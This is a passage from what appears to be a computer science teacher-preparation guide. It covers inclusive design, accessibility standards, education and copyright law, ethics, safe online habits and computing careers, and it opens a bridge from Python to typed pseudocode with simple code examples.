Marketplace ranking adds a different source of tilt, the platform's own interests. Commercial platforms may rank results according to their own interests, including payments for placement or favoring their own brands, as well as relevance. Sellers can pay to appear higher, so a top position

isn't proof of quality. Disclosure and independent reviews help users, which means a platform can reasonably be asked to say when commissions affect the order of results, and a shopper can filter out sponsored listings and compare reviews elsewhere.

Designing for inclusion

Each of these failures suggests a response, and together those responses amount to what's called inclusive design. It involves diverse users throughout development, because barriers are hard to fix late and a development team may not experience them itself. It tests performance across groups, so that a good average doesn't hide a failure for older users or others. It explains decisions and offers human review and appeal, which answers the problem of people who can't understand or challenge an outcome. And it provides a way out of the automated path altogether: a human contact option helps people an automated system can't serve. One part of this work has been developed in particular detail, with established features, standards, and legal requirements: accessibility for people with disabilities, the subject of 0001.e.

- **automated decision system**: a system that scores or ranks people in settings such as hiring, lending, benefits, and criminal justice
- **algorithmic bias**: a systematic pattern of errors or outcomes that unfairly disadvantages particular groups
- **representative data**: data that reflects the people a system will serve
- **proxy variable**: a feature that stands in for a protected characteristic
- **feedback loop**: a pattern in which a system's output shapes its future training data
- **automation bias**: the tendency to accept a computer's output with too little scrutiny, even against other evidence
- **applicant tracking system**: software that collects and screens job applications
- **inclusive design**: involving diverse users, testing across groups, explaining decisions, and offering human review and appeal

Practice questions: 0001.d, page 218.

0001.e Accessibility and usability

Inclusive design, as 0001.d described it, is a broad commitment, and accessibility is where it becomes concrete. Accessibility can be understood as a chain with several links. A person uses a tool, either assistive software or a feature built into a device. That tool can work only with what the author of the content has provided. Those authoring practices are collected into a technical standard, the standard is the usual benchmark for meeting a legal requirement, and checking has to confirm that the whole chain holds. If any link fails, the person at the start of the chain is shut out, so this section follows the chain link by link.

The tools people use

A **screen reader** converts on-screen text and interface elements to speech or braille. It helps to picture how this differs from looking at a page. A screen reader doesn't see the visual design, so it relies on semantic structure: real headings, lists, and labels that say what each element is. Text styled to look like a heading, by enlarging and bolding it, isn't exposed as one, and unlabeled form fields are announced only as "edit text," which gives the user no idea what to enter. To know whether a product works, test by operating it with a screen reader and no mouse.

Two other tools convert between speech and writing, and the names are easy to swap. **Text-to-speech** reads text aloud, supporting readers with dyslexia or low vision. **Speech-to-text** turns speech into text, supporting those who have difficulty typing. Its accuracy can vary across accents, so check that it works for the particular student.

Many of these tools don't need to be purchased, which is worth knowing before anyone orders software. Operating systems include zoom, high-contrast and dark modes (which change display colors to fit visual needs), voice control, sticky keys (which let someone press key combinations one key at a time), and switch access, which means operating a device with simple switches, for people with limited motor control. Browsers often offer a read-aloud feature as well. Many accommodations need no added software, so check these first.

What authors have to provide

The tools can do only so much with what they're given, so accessibility depends heavily on the people creating content, including teachers. Images are a clear example. **Alternative text (alt text)** is a written description that screen readers read aloud, and it should convey an image's purpose. For a chart, that's the main finding ("Bar chart: enrollment doubled from 2019 to 2024"). For a linked image, it's what the link does ("Lunch menu"). For a picture in a quiz, it's whatever a sighted student needs in order to answer. File names and "photo" don't do this. Purely decorative images should have empty alt text, so screen readers skip them and don't interrupt the reader with noise.

Video and audio raise the parallel problem for people who can't hear them, and a few formats address different needs. **Captions** display speech and relevant sounds, such as a warning beep, in sync with video, mainly for people who are deaf or hard of hearing. **Transcripts** provide the same content as separate text, which also serves deafblind users of braille displays. **Audio description** narrates visual content for blind viewers. Automatic captions often garble technical terms, which can change the meaning for those relying on them, so they need checking in a computer science class in particular. Features that help one group often help others, as captions help anyone in a noisy room or learning a new language.

Structure matters along with content, because screen reader users navigate by lists of links and headings. Link text should describe its destination ("Download the permission slip"), since "click here" can't be told apart from other links out of context. Heading levels should reflect structure, not desired size, because an out-of-order outline misleads anyone moving through a page by its

headings. This is the same reliance on semantic structure described above, seen from the author's side.

Input is a separate concern. All functionality should work from a keyboard, without requiring a mouse or hover, for people with motor disabilities and screen reader users, who may be unable to use a pointing device. Check by moving through a page with Tab and Enter. Two failures are common: a keyboard trap, in which a user can get into a component and can't get out again without a mouse, and drag-and-drop with no alternative, so give drag-and-drop a keyboard path.

Visual presentation is the last of these authoring concerns. Don't convey information by color alone; add labels, patterns, or words, so that a student with color vision deficiency can tell which fields are required because the label says "required" and not only because it is red. Text also needs sufficient contrast with its background for people with low vision, and WCAG level AA asks for a contrast ratio of 4.5:1 for normal text.

The standard and the law

That contrast figure comes from the standard that gathers these practices. The **Web Content Accessibility Guidelines (WCAG)** provide testable criteria at three levels: A, AA (the usual target), and AAA (the strictest). They are organized under four principles, abbreviated POUR, that give you a way to sort any barrier. Content must be *perceivable*, meaning it can be sensed, which is the concern of alt text, captions, and contrast. It must be *operable*, meaning it can be used, for example by keyboard. It must be *understandable*, which a message like "Error 0x8004" isn't, because it doesn't say what happened or how to fix it. And it must be *robust*, meaning it works with assistive technology and across a variety of software.

Standards are voluntary on their own, and the law is what makes equal access an obligation. Section 504 of the Rehabilitation Act and the Americans with Disabilities Act (ADA) require schools to give people with disabilities equal access, including to digital materials used in instruction, and free tools aren't exempt. WCAG is the usual technical benchmark for showing that access has been provided. Obligations don't depend on someone having complained, since retrofitting after a request can leave people without access in the meantime. When a school is choosing a product, an accessibility conformance report documents how it meets the criteria, and where a product falls short, the school still needs to provide an accessible alternative. Laws and standards thus work at different levels: the law states the requirement, and the standard says in testable terms what meeting it looks like.

Checking the result

Testable criteria invite automated testing, which is useful within limits. Accessibility checkers such as WAVE and Lighthouse flag missing alt text and low contrast. They can't judge whether text is meaningful or a reading order makes sense, because a machine can confirm that alt text exists but not that it describes anything. A perfect score therefore doesn't prove access. Test with assistive technology and with users, and when a vendor reports a perfect score, ask for evidence of that testing too. The accessibility requirements in this section are one instance of rules that govern computing,

and 0001.f takes up the wider set of laws, licenses, and policies.

- **screen reader**: software that converts on-screen text and interface elements to speech or braille
- **semantic structure**: markup that says what each element is, such as real headings, lists, and labels
- **text-to-speech**: reading text aloud
- **speech-to-text**: turning speech into text
- **switch access**: operating a device with simple switches
- **alternative text (alt text)**: a written description of an image's purpose, read aloud by screen readers
- **captions**: speech and relevant sounds displayed in sync with video
- **transcript**: the same content as captions, in separate text
- **audio description**: narration of visual content for blind viewers
- **keyboard trap**: a component that a keyboard user can't move past
- **Web Content Accessibility Guidelines (WCAG)**: testable criteria at levels A, AA, and AAA under the principles of POUR
- **POUR**: perceivable, operable, understandable, robust
- **accessibility conformance report**: a document showing how a product meets accessibility criteria
- **accessibility checker**: an automated tool, such as WAVE or Lighthouse, that flags issues such as missing alt text and low contrast

Practice questions: 0001.e, page 231.

0001.f Laws, licenses, and policies

The laws behind accessibility in 0001.e are only one of several kinds of rule that apply to computing, and a good deal of confusion comes from mixing the kinds up. A **legal** factor is a requirement set by government, enforceable whether or not anyone agrees to it; licenses belong here too, because they are legally binding permissions that an owner grants. A **policy** is a rule an organization sets for its own members and resources. A **technological** measure, such as a filter or copy protection, makes something harder or easier to do, which is different from deciding whether it's permitted. An **interpersonal** factor is what people actually do with one another: asking for consent, teaching a student a safer way to share, reporting a flaw privately. CIPA, described below, shows all four together: a law requires a technological filter and a written policy, and it also requires educating students about how to behave online. For any rule in this section, ask three questions: who is bound by it, what triggers it, and what does it require? The section groups the rules by what they protect: student data, privacy more generally, creative work, computer systems, and finally a school's own resources.

Student data at school

Four laws govern student data and online safety in New York schools, and they are easiest to tell apart by whom they bind. The **Family Educational Rights and Privacy Act (FERPA)** is a federal law that protects education records at schools receiving U.S. Department of Education funds. Parents may inspect records and request corrections of inaccurate ones, and disclosure generally requires written consent.[6] There are several important exceptions. School officials with a legitimate educational interest may have access, although that doesn't open every record to every staff member. Directory information that a school has designated, such as names and photos in a yearbook, may be released if families had notice and a chance to opt out. A teacher's private notes kept in sole possession, and shared with no one, aren't education records at all. Rights transfer to the student at age 18 or on entering postsecondary education, so a parent asking for the file of a 19-year-old who is still in high school generally needs that student's consent.

FERPA binds schools, whereas the **Children's Online Privacy Protection Act (COPPA)** binds companies. It applies to commercial online services directed at children under 13, and to other services that knowingly collect those children's data, meaning that the operator has actual knowledge of a child under 13. It requires a clear privacy notice and verifiable parental consent before collecting personal data, and the Federal Trade Commission (FTC) enforces it. Schools enter the picture when they adopt such services, since a school may consent on families' behalf, but only for educational use of the data. The age line matters: COPPA's consent requirement doesn't cover a 14-year-old, though other laws and district policies may.

The third law is tied to money. The **Children's Internet Protection Act (CIPA)** requires schools and libraries receiving E-rate discounts, a federal program that reduces the cost of Internet service, to filter obscene or harmful images, monitor minors' online activity, and adopt an Internet safety policy covering safety, hacking, and education about online behavior, including cyberbullying. Because it attaches to E-rate discounts, a school that doesn't take them isn't bound by CIPA, though state or local rules may still apply. A filter alone isn't enough without monitoring and a policy. A library may also disable its filter for an adult's lawful purpose. And because CIPA targets categories of images, blocking all sexual health sites goes beyond what it requires, which makes such a block a local policy decision and not a federal mandate.

New York adds its own law, which reaches the outside vendors that schools rely on. **New York Education Law 2-d** protects personally identifiable student data, and certain teacher and principal data such as annual performance evaluations, held by educational agencies. It requires a parents' bill of rights, data security standards, and agreements with third-party contractors, who may not sell the data or use it for marketing. Contractors must promptly report exposure to the district, which has notification duties of its own. In practice, this means a teacher's enthusiasm for a new app can't settle the matter alone: the district has to confirm that a compliant agreement is in place.

[6] MWC2, Banjo app: a teacher portal case study, including requirements, components, and FERPA.

Privacy beyond school

Outside education, privacy law tends to turn on where the people whose data is held are located, more than on where a company is. The EU's **General Data Protection Regulation (GDPR)** gives people rights over personal data, such as access and erasure. It can reach organizations outside Europe that offer services to or monitor people in the EU, and it requires a lawful basis for processing, such as consent or a legitimate interest. New York's **SHIELD Act** requires reasonable safeguards and breach notifications for residents' private information, with notice going to affected residents and specified state authorities. It can reach businesses anywhere holding New York residents' data.

Creative work: copyright and fair use

The rules so far protect information about people. A second family of rules protects what people create, and software falls under it. **Copyright** protects original creative works, including software, automatically once fixed in a tangible form. It needs no notice or registration to exist, so a diagram posted without a copyright symbol is still likely protected. The owner controls copying, distribution, and adaptation, and for work made for hire, meaning work an employee creates within the scope of a job, the owner is generally the employer. Ideas and facts aren't protected. Copyright covers the expression and not the idea or function, so a program's specific code is protected while what the program does isn't. The facts in a database aren't protected, although a compilation's original selection or arrangement may be. Inventions such as methods fall under a different system: patents protect them.

Copyright has a built-in limit. **Fair use** permits limited use without permission, judged on four factors: the purpose of the use, the nature of the work, the amount used, and the effect on the market. It has no fixed percentage, and weighing the factors is the whole exercise. Educational use weighs in favor but isn't automatically fair. A short clip used for nonprofit classroom commentary has purpose and amount on its side and little effect on any market, whereas posting a full chapter publicly or copying that could replace sales weighs against it, even with a credit to the source and an educational label. Parody can favor fair use because it transforms a work to comment on it, though it too depends on all the factors. When a use looks doubtful, linking to the material or licensing it avoids the question.

Permission in advance: licenses

Fair use is an argument that you can make without permission, whereas a license gives you permission outright, so that nobody has to weigh factors. **Creative Commons (CC)** licenses let creators grant permissions in advance using combinable terms. Attribution (BY) requires credit, NonCommercial (NC) bars commercial gain whatever credit is given, ShareAlike (SA) requires adaptations to carry the same license, and NoDerivatives (ND) allows sharing the original but not adaptations. CC BY by itself asks only for credit, with a link to the license, and permits reuse, adaptation, and commercial use. So a teacher adapting a BY-SA worksheet credits the creator and shares the new version under the same license.

Software has its own licensing tradition. **Free and open-source software (FOSS)** gives users the source code and the right to modify and redistribute it, including free copies. "Free" refers to users' freedoms and not to price, which is why FOSS can be sold, and Linux and Firefox are well-known examples. Its creators retain copyright and grant these rights through a license, so it may still carry license conditions that users must follow, and support isn't guaranteed. The practical benefit is independence: a district can inspect and modify code to meet local needs, and users can fix abandoned code themselves or hire help.

FOSS licenses divide into two families according to what they ask of people who build on the code. **Copyleft** licenses such as the GPL require distributed modified versions to carry the same terms, with source available, so a product that combines GPL code and is then distributed may have to be released on those terms. That source requirement is triggered by distribution, not internal use, so a company running a modified version only on its own machines generally needn't release its source. **Permissive** licenses such as MIT allow reuse in proprietary software with minimal conditions, chiefly keeping attribution, which in MIT's case means keeping its notice in copies.

Computer systems: authorization and copy protection

Licenses say what you may do with a work, and a separate body of law says what you may do with someone else's computer. The **Computer Fraud and Abuse Act (CFAA)** is the main U.S. computer crime law. It prohibits accessing a computer without authorization or exceeding authorized access, even if no data are changed or harm results, and state laws address similar conduct. The distinction between technological and legal factors matters a great deal here, because technical access isn't permission: a working login doesn't amount to authorization after employment ends, even if nobody disabled the account. Exceeding authorized access is a harder question. After the Supreme Court's decision in *Van Buren v. United States* (2021), the phrase means entering parts of a computer, such as a restricted database or section, that one's access does not extend to, and not misusing data that one is entitled to reach. A clerk whose login opens only the billing section but who alters a web address to reach the payroll section has exceeded authorized access, whereas an employee who looks up a neighbor's data in a database the job legitimately allows has not done so under the CFAA, although that snooping may still clearly violate workplace policy and ethics. Testing a service without authorization carries legal risk even with good motives.

Which leads to the form of hacking that's legitimate. **Ethical hacking**, or penetration testing, is testing a system's security with the owner's explicit permission and within an agreed scope. Authorization, not good intentions, is what separates it legally from a crime. Ethical hackers rely on a written agreement specifying scope and rules, or on a bug bounty's published rules, which give permission to anyone who follows them. They stop at the agreed boundary, even if a partner's system is one step away, and they report flaws privately and allow time for a fix, a practice known as coordinated disclosure. Students can build these skills legally by practicing on intentionally vulnerable sites on isolated networks.

Copy protection brings the two families of rules together, with a technological measure backed by law. The **Digital Millennium Copyright Act (DMCA)** prohibits circumventing technical copy

protections, and it creates a takedown process that shields online services from liability if they promptly remove infringing material after notice. If a work is removed wrongly, its creator can file a counter-notice. Breaking copy protection raises a separate question from fair use: a teacher who could fairly show a film clip may still face a problem by bypassing a DVD's protection to get it, though exemptions exist, including some for educational uses.

Local rules: acceptable use

Laws and licenses apply from outside; a school's day-to-day rules are its own. An **acceptable use policy (AUP)** sets rules for using an organization's technology. A school AUP generally covers school-provided devices, accounts, and networks, including a personal device on the school's network, and it applies to school laptops wherever they go. It generally doesn't reach a student's own equipment and connection at home, although other school rules may come into play if conduct affects the school. AUPs work best with specific examples and consequences. When a student breaks one, say by sharing a login, enforcing the policy is only part of the job. A policy states what's expected, and it falls to the teacher to follow its process and show the student a better way to share a project. Rules can't anticipate everything, and even when a practice is legal and permitted, there remains the question of whether it's right, which is the subject of 0001.g.

- **FERPA**: federal law protecting education records at schools receiving U.S. Department of Education funds
- **directory information**: designated student information that may be released if families had notice and a chance to opt out
- **COPPA**: federal law requiring notice and verifiable parental consent for commercial collection of data from children under 13, enforced by the FTC
- **CIPA**: federal law requiring filtering, monitoring, and an Internet safety policy at schools and libraries receiving E-rate discounts
- **New York Education Law 2-d**: state law protecting student data, and certain teacher and principal data, held by educational agencies
- **GDPR**: EU regulation giving people rights over personal data, such as access and erasure
- **SHIELD Act**: New York law requiring reasonable safeguards and breach notifications for residents' private information
- **copyright**: automatic protection for original creative works once fixed in a tangible form
- **work made for hire**: work created within the scope of a job, generally owned by the employer
- **patent**: protection for inventions such as methods
- **fair use**: limited use without permission, judged on purpose, nature, amount, and market effect
- **Creative Commons (CC)**: licenses granting permissions in advance, with the terms BY, NC, SA, and ND
- **free and open-source software (FOSS)**: software whose users get the source code and the right to modify and redistribute it
- **copyleft**: licensing, such as the GPL, that requires distributed modified versions to carry the

same terms

- **permissive license**: licensing, such as MIT, that allows reuse in proprietary software with minimal conditions
- **CFAA**: main U.S. computer crime law, prohibiting access without authorization or exceeding authorized access
- **ethical hacking (penetration testing)**: security testing with the owner's explicit permission and within an agreed scope
- **DMCA**: federal law prohibiting circumvention of copy protections and creating a takedown process
- **acceptable use policy (AUP)**: an organization's rules for using its technology

Practice questions: 0001.f, page 247.

0001.g Ethics

The rules in 0001.f set a floor, and ethics concerns what remains above it, since plenty of what's legal can still harm or mislead people. This section is organized around two questions. The first is what those who build systems owe the people whose data and attention they use, which covers consent, minimizing data, and interface design. The second is who answers for what a system does, which covers professional codes and accountability. Generative AI comes last because it raises both questions at once.

What is owed to people: their data

Most ethical questions about data begin with whether people actually agreed to its use. Meaningful consent requires that people understand a collection and can refuse it. Those two conditions rule out some common justifications. Public availability of data doesn't establish informed agreement to every use, so a researcher who gathers public posts hasn't thereby obtained the posters' agreement. Acceptance of long terms of service doesn't establish it either, since few users read them and many can't really refuse. Agreeing to one purpose doesn't extend to very different ones. Data that already exists is no exception, so new uses of existing data call for new disclosure and a real choice, as when a school wants to use student records for a study and explains the study to families and allows them to opt out.

Consent governs whether to collect data, and a related principle governs how much and for how long. **Data minimization** means collecting and keeping only what is needed for a stated purpose, then deleting it, which reduces harm from a breach or misuse, because data that isn't retained can't be exposed. An app that only needs to know whether a user is at least 13 can ask just that, without requesting a birth date. Security camera footage can be deleted automatically after a short, stated period unless it's needed. Keep this distinct from security: encrypting unneeded data protects it, but doesn't minimize it.

What is owed to people: their attention and choices

Consent also presumes that people are choosing freely, which an interface can undermine. **Dark patterns** are interfaces that steer users toward choices benefiting a company: hidden fees disclosed late, preselected options, emphasized "Accept All" buttons beside faint alternatives, or cancellation far harder than signing up. A useful test is to ask whether the design makes the company's preferred choice easier than the alternatives. The fixes are often straightforward, such as leaving an option unselected and showing fees from the start.

Dark patterns target a particular decision, whereas engagement design works on behavior over time. Infinite scroll, streaks, autoplay, and frequent notifications maximize attention by removing stopping points and using social pressure, as when a streak makes a teenager feel obliged to a friend. This raises concerns about manipulation, especially of children and teens, whose well-being is most at stake. It also complicates a common defense of these features, that people keep using them because they like them: continued use may reflect a default rather than a preference. Turning off notifications that a person doesn't actually want, or removing such features from a product for young users, addresses the concern directly.

Who answers: professionals and organizations

Designs like these come from people who could have decided otherwise, which leads to the question of what computing professionals are responsible for. Professional codes such as the ACM Code of Ethics direct computing professionals to contribute to society, avoid harm, be honest, and respect privacy, placing the public good above an employer's convenience. They address responsibilities beyond what the law requires, so a developer may rightly question a data use that is legal but harmful. Honesty rules out reporting only favorable results to a district that's deciding whether to buy a product. And those responsibilities continue when a manager disagrees, so someone who raises a safety concern and is brushed aside keeps pursuing it through appropriate channels.

An individual's code can't settle everything, because harmful systems are usually made by many hands. When an automated system causes harm, responsibility stays with those who build and deploy it, not with "the algorithm." Opacity and shared development shouldn't erase it, even though both make it tempting for each party to point at another. If a district buys a vendor's flawed tool, the vendor answers for the product and the district for choosing and using it. Decision records and named reviewers support accountability in concrete ways, because records let a decision be reviewed, explained, and challenged, and a named person has to answer for the results.

A case that raises both questions

Generative AI brings these concerns together. On what is owed to people, it raises the issue of training on creators' work without consent or compensation, and of misinformation and impersonation, since these tools can produce convincing false content about real people. On wider responsibility, it raises issues of labor, including displaced and devalued skilled work, and of the energy and water used for training and running models. In schools it adds academic integrity. For integrity, define

permitted uses and require disclosure, which sets clear expectations without assuming misconduct, and don't rely on detectors alone, because they can be wrong. Much of this section has concerned the people who build systems. The ones who use them have responsibilities as well, and those are the subject of 0001.h.

- **meaningful consent**: agreement from people who understand a collection and can refuse it
- **data minimization**: collecting and keeping only what is needed for a stated purpose, then deleting it
- **dark pattern**: an interface that steers users toward choices benefiting a company
- **engagement design**: features such as infinite scroll, streaks, autoplay, and frequent notifications that maximize attention
- **ACM Code of Ethics**: a professional code directing computing professionals to contribute to society, avoid harm, be honest, and respect privacy
- **accountability**: responsibility that stays with those who build and deploy a system

Practice questions: 0001.g, page 267.

0001.h Safe and responsible use

The sections before this one looked mainly at what designers, institutions, and governments do. This one turns to the habits of an individual user, which are also what you'll be teaching students. It helps to sort those habits by which way things are moving: what goes out from you, what comes in to you, what passes between you and other people, and finally what your use of technology does to you.

What goes out

The basic fact about sharing online is that you lose control of it. Online information can be copied, spread beyond its audience, and persist after deletion, so sharing personal details such as photos and full names carries lasting risk. Deleting a post can reduce its visibility, but copies elsewhere may remain, and web archives show how pages outlive changes. Private accounts offer less protection than they appear to, because they limit who sees a post, not what those people do with it: an approved follower can take a screenshot and pass it on.

Given that, the question is which details are risky, and the answer is broader than most students expect. **Personally identifiable information (PII)** is data that can identify a person, directly (a name or Social Security number) or in combination (a birth date plus a school). The second kind is the one people overlook, since details that seem harmless by themselves can together point to one student. De-identifying means removing direct and combinable details, so taking out a name while leaving a school and a birth date isn't enough. A student asked online for something sensitive, such as a home address, should check with a trusted adult first.

Information can also leave without a person typing it. **Metadata** is data stored with a file, and photos can record the time and GPS location of capture. Visible details such as a school jacket can reveal more, apart from any metadata, so a single post can disclose where someone lives or goes

to school. Turn off location tagging, check backgrounds, and limit location sharing to a few trusted people, reviewing those settings regularly.

An account is another thing students give away more easily than they should. Keep passwords private even from friends, log out of shared devices, and collaborate through sharing features rather than shared accounts, since accounts link actions to a person, and anything done with a student's account will be attributed to that student. A teacher who finds a student's account still open on a classroom computer should log it out and remind the class, without using it.

What comes in

Just as what you post can travel further than it appears, what you read can be less trustworthy than it appears. Appearance is a poor guide. Polished design, a ".org" address (which almost any organization can register), and a lock icon don't establish credibility. The more reliable method is **lateral reading**, which means leaving the page to check other trusted sources about a claim or site, rather than judging from its own appearance. It also helps to trace statistics to their source and compare other reports of them. Synthetic media such as deepfakes make outside verification especially important, because a convincing video can no longer serve as its own evidence.

What passes between people

Online harm is often done by people students know, and it has a recommended response for the student and duties for the school. A student facing cyberbullying should save evidence, not retaliate, use blocking and reporting tools, and tell a trusted adult. Each part of this has a purpose: evidence supports a later report, and retaliation tends to escalate things. A classmate who merely witnesses the harm has a part as well, which is to report the posts and offer support to the targeted student, and not to reply in kind or pass the posts along to others. New York's **Dignity for All Students Act** requires schools to address harassment, including off-campus conduct that affects the school environment, so the fact that posts were made from home doesn't necessarily take them out of a school's hands. Teachers follow reporting procedures and support the targeted student.

What technology does to you

The last direction is inward, and it is about well-being more than risk. Healthy use means managing screen time, sleep, and notifications, and noticing how apps affect mood and attention. Practical steps include turning off nonessential notifications, setting a nighttime limit, using a separate alarm clock and charging a phone outside the bedroom, and keeping a one-week log of which apps were used and how each felt. A log like this also reflects a broader point: what someone does on a screen matters along with how long, so a simple total of hours gives an incomplete picture. These habits are part of what any person needs to use computing well, and those who go on to make computing their work need more, as 0001.i describes.

- **personally identifiable information (PII)**: data that can identify a person, directly or in combination

- **de-identifying**: removing direct and combinable details
- **metadata**: data stored with a file, such as a photo's time and GPS location of capture
- **lateral reading**: checking other trusted sources about a claim or site, rather than judging from its own appearance
- **synthetic media (deepfakes)**: realistic generated or altered images, audio, or video
- **Dignity for All Students Act**: New York law requiring schools to address harassment, including cyberbullying

Practice questions: 0001.h, page 277.

0001.i Careers and habits of mind

Students who are thinking about computing as a career need a better picture than "someone who codes," and this section gives you one by narrowing in steps. It starts with the industries where computing work happens, moves to the specific roles people hold, then to the habits and tools that those roles share, and ends with how people get there. Keeping those steps apart also helps with advising, because a student's interest may lie at any one of them.

Where the work happens

Computing runs through agriculture (sensors for irrigation), health care, finance, the arts (where it can be a creative medium), journalism (data investigations, in which computing extends what reporters can find in large records while they remain essential), and government. This breadth has a teaching use, since students can connect it to fields they already care about, and a student who loves farming or music doesn't have to give that up to study computer science.

Some fields go further and combine computing with another discipline. Bioinformatics applies computing to biological data, computational social science to social questions such as how people interact, and digital humanities to texts and culture. In each, computing extends scale, enabling analysis that would be impractical by hand, but it doesn't replace theory or critical thinking from the home discipline.

Other industries are shaped by their history, which creates an opportunity that students rarely hear about. **Legacy systems** are older systems still in critical use. Banking, insurance, and government rely on languages such as COBOL, because replacing stable systems is costly and risky, which creates demand for people who can read and maintain them, a skill few newer programmers have.

What people do

Within those industries, a set of roles recurs. Software developers build applications, often from stated requirements. Data analysts draw conclusions from data. Network administrators maintain connectivity. Security analysts monitor and respond to threats, and system administrators restore and maintain systems, so after an incident an analyst might review the logs while an administrator brings service back.

Software development itself divides by where the code runs. Front-end developers build what users see and interact with, using HTML, CSS, and JavaScript. Back-end developers build server-side logic and manage databases and APIs.[7] Full-stack developers do both.

Not every role centers on code. User experience (UX) designers research users' needs, create prototypes, and test interfaces. For instance, they might watch people use a screen to learn what confuses them, and they use low-cost prototypes so that problems are found before they're costly to change. The role relies more on research and design than on production code, which makes it a good fit for a student who is more interested in how people behave than in writing programs.

What the roles share

Across these roles, certain ways of working matter as much as technical knowledge. Computing careers call for several habits of mind: persistence in debugging, tolerance of ambiguity (requirements are often unclear, so professionals ask questions and adapt), attention to detail, continual learning (because tools and practices change throughout a career), and clear communication with teammates and clients, since software is typically built in teams.[8] These habits can be built in a classroom, for instance whenever a student explains their debugging process to a partner.

Some habits apply more specifically to working in a team. New professionals learn the tools and workflows their team uses, such as its IDE (integrated development environment, the program in which code is written), version control (see 0002.p), and code review, since shared practice matters more than personal preference. Having a favorite editor is fine, but a team's shared tools and review are how it maintains shared quality. Having student groups use branches and pull requests on a project gives them a taste of this.

How people get there

There are many ways into this work, and students benefit from hearing about all of them, ideally from people who took them. People enter computing through college degrees, community college, certifications, apprenticeships, and self-directed portfolios. Internships are a common bridge to employment, offering experience and connections, and portfolios of working projects show what someone can do, whichever route they took. A candidate without a degree might pair a certificate program with such a portfolio. Knowing these routes lets you talk honestly with students about where computing might take them. Section 0002 turns to the thinking and programming that much of this work is built on.

- **legacy system**: an older system still in critical use
- **software developer**: someone who builds applications
- **data analyst**: someone who draws conclusions from data
- **network administrator**: someone who maintains connectivity
- **security analyst**: someone who monitors and responds to threats

[7] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.
[8] MWC1, Turtle: first programs, sequence, errors and bugs.

- **system administrator**: someone who restores and maintains systems
- **front-end developer**: someone who builds what users see and interact with, using HTML, CSS, and JavaScript
- **back-end developer**: someone who builds server-side logic and manages databases and APIs
- **full-stack developer**: someone who works on both the front end and the back end
- **user experience (UX) designer**: someone who researches users' needs, creates prototypes, and tests interfaces
- **bioinformatics**: computing applied to biological data
- **computational social science**: computing applied to social questions
- **digital humanities**: computing applied to texts and culture

Practice questions: 0001.i, page 287.

0002 Computational thinking and programming

This competency covers the knowledge involved in designing programs and using computation to solve problems, and its sixteen sections follow roughly the path a problem takes from the world into code and back out as a finished, shared program. Because the sections that follow quote code throughout, the part opens with a bridge from Python to the typed pseudocode used in much writing about algorithms. The first three sections then look at programs that represent and investigate the world: 0002.a covers models and simulations, 0002.b how data is collected, and 0002.c the tools used to store, prepare, and display it. The next two sections, 0002.d on decomposition and functions and 0002.e on abstraction, describe how a problem too large to hold in mind is divided into parts and how each part hides its details from the others. The central and longest group is about algorithms and programming. It starts with control structures and common algorithmic patterns in 0002.f, steps back to compare programming paradigms in 0002.g, and then examines the materials programs work with: data types and data structures in 0002.h, the ways algorithms are represented in 0002.i, and expressions and operators in 0002.j. Section 0002.k asks how an algorithm's use of time and memory grows with its input and how to compare algorithms on that basis, and 0002.l returns to the object-oriented ideas that organize many larger programs. The last four sections concern the process of building software over time: iterative design in 0002.m, errors, testing, and debugging in 0002.n, performance, readability, and documentation in 0002.o, and the tools and collaborative practices that let people build programs together in 0002.p.

From Python to typed pseudocode

You learned to program in Python.[9][10] Much professional and educational writing about algorithms uses a typed pseudocode instead, and it asks you to read code that looks more like Java or C. The ideas are the same as the ones you already know, and what changes is how much gets written down. Python does several things for you without being asked: it keeps track of what kind of value each

[9] MWC1, Names: variables, values, and functions with arguments.
[10] MWC1, Iteration: lists, `for` loops, and `range`.

name holds, it lets a list hold anything and grow whenever you append, and it counts through a loop with `range` without ever showing you the counter. Typed pseudocode makes you write those things out. The differences fall into two groups, and this section takes them in that order. The first group follows from a single idea, that every variable has a **declared type**, and that one idea reshapes variables, function headers, arrays, and loops. These take the most getting used to, and the first three subsections cover them, each building on the one before. The second group is mostly a matter of spelling, such as `elseif` for `elif` or `output` for `print`, but it hides a few rules that genuinely differ from Python's and change what a line computes, so the later subsections point those out. Throughout, the Python you know appears beside its equivalent. Examples are numbered, because discussions of code usually refer to line numbers. Lines beginning with `>>>` show output, not a prompt.

Types and type signatures

In Python, a variable is a name that can point to any value.[11] Types belong to values, and the name itself has none, so the same name can hold a number on one line and a string on the next. You can check a value's type when you want to, with `type()`,[12] but Python never asks you to state it in advance.

```
count = 0
count = "none"     # fine in Python
print(type(count))
```

Typed pseudocode reverses this arrangement. In the pseudocode, a variable has a declared type, and holds only that type. You declare the type at the first assignment and never again, so from then on you use the name alone.

```
01 int count = 0
02 count = 5
03 count = "none"
```

Line 02 is correct, because it puts a new `int` into a variable declared as `int`. Line 03 is an error, because a `String` can't go in an `int` variable. Writing `int count = 5` on line 02 would also be wrong, for a different reason: repeating the type declares the variable again. A type name at the start of a line therefore tells you that a new variable is being created, and its absence tells you that an existing one is being reused, which is worth noticing whenever you read code.

There are five basic types. A `bool` is `TRUE` or `FALSE`, written in capitals. An `int` is a whole number. A `float` is a decimal, treated as having infinite precision, so you can reason about decimals as exact and ignore results like Python's `0.30000000000000004`. A `char` is one character, written in double quotes; Python has no separate type for this and treats a single character as a short string. A `String` is written in double quotes only, where Python also accepts single quotes. The table pairs each type with a Python assignment you might write.

[11] MWC1, Names: variables, values, and functions with arguments.
[12] MWC1, Number Words: top-down planning, bottom-up implementation, and types.

Python	Pseudocode
`done = False`	`bool done = FALSE`
`age = 16`	`int age = 16`
`gpa = 3.7`	`float gpa = 3.7`
`initial = "M"`	`char initial = "M"`
`name = "Ana"`	`String name = "Ana"`

Declared types matter after the declaration too, because operators check them. Arithmetic and comparison need matching types. Python quietly converts `2 * 1.5`, treating the `2` as a decimal so the product can be `3.0`, but here an `int` and a `float` don't combine. In practice, this means reading each line while asking whether the types match, since a mismatch is often exactly what a piece of code is meant to show you. When a program really does need to combine types, a library may offer a conversion method, which the code will define for you.

The same idea extends from variables to functions. If every variable has a type, then so does every parameter, and the function's header has to say what it is. Functions therefore have **type signatures**: each parameter's type appears in the header. A signature tells you, without reading the body, how to call a function correctly.

```python
def repeat(text, times):
    result = ""
    for i in range(times):
        result = result + text
    return result

print(repeat("hi", 3))
```

```
01 function repeat(String text, int times)
02   String result = ""
03   for (int i = 0; i < times; i = i + 1)
04     result = concat(result, text)
05   return result
06
07 output(repeat("hi", 3))
```

